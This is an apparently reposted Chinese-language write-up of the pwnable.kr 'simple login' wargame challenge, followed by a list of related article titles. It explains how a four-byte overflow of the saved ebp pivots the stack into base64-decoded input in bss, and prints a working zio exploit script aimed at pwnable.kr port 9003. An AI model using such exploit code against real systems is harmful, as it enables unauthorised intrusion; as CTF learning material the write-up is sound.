pwnable.kr simple login writeup
来源:互联网 发布:c语言输出人名心形图案 编辑:程序博客网 时间:2024/05/18 17:41
pwnable.kr simple login writeup
虽然说是pt150但是还是让我学到很多东西的。这是一个判定特定字符串的程序,直接说溢出点吧。输入的字符会经过一个base64解码,溢出点在auth的memcpy,只能够有4个字节的溢出,这么少怎么弄?
参考了大神思路。http://www.cnblogs.com/anewid/p/4567242.html
我们只能溢出4个字节,那就是ebp,ebp里面存放着什么呢,是上个函数的esp,栈顶,再结合每次函数结束的时候都必须的操作,.
leave; ==>mov esp,ebp; pop ebp;
retn; ==>pop eip;
对于我们这里来说就应该是这样的,main函数调用了auth函数,我们来把ebp改了,就把auth返回到main函数之后的esp改了,这样的话如果我们能够控制esp的位置是我们可写的话,就可以控制main函数的retn的地址了。刚好我们的输入在bss段,于是猥琐的思路来了。
from zio import *import base64call_system = 0x08049284input_addr = 0x811eb40#target='./login'target=('pwnable.kr',9003)def exp(target): io = zio(target, timeout=10000, print_read=COLORED(RAW, 'red'), print_write=COLORED(RAW, 'green')) io.gdb_hint() io.read_until(':') payload = 'aaaa' + l32(call_system) + l32(input_addr) io.writeline(base64.b64encode(payload)) io.interact()exp(target)
0 0
- pwnable.kr simple login writeup
- pwnable.kr writeup之simple login
- pwnable.kr之simple login详解
- pwnable.kr-bof-Writeup
- pwnable.kr-random-Writeup
- pwnable.kr-random-Writeup
- pwnable.kr-bof-Writeup
- pwnable.kr-random-Writeup
- pwnable.kr-bof-Writeup
- pwnable.kr-random-Writeup
- pwnable.kr-cmd1-Writeup
- pwnable.kr-cmd1-Writeup
- pwnable.kr-cmd1-Writeup
- pwnable.kr-cmd1-Writeup
- pwnable.kr writeup otp
- pwnable.kr writeup hash
- pwnable.kr uaf writeup
- pwnable.kr writeup之unlink
- Java多线程--安全问题
- hdu3642(三维转二维扫描线)
- css3中单位px,em,rem,vh,vw,vmin,vmax的区别及浏览器支持情况
- Git入门基本流程
- CCRenderTexture解析
- pwnable.kr simple login writeup
- Ext动态加载列
- Android Studio 快捷键
- 【图论】最大密度子图&权闭合图
- SQL Server: SELECT * 的真相: 索引覆盖(index coverage)
- 在arcmap属性表 输入文本内容
- HttpClient 教程 (一)
- chaos_calmer尝鲜
- 杭电1004-Let the Balloon Rise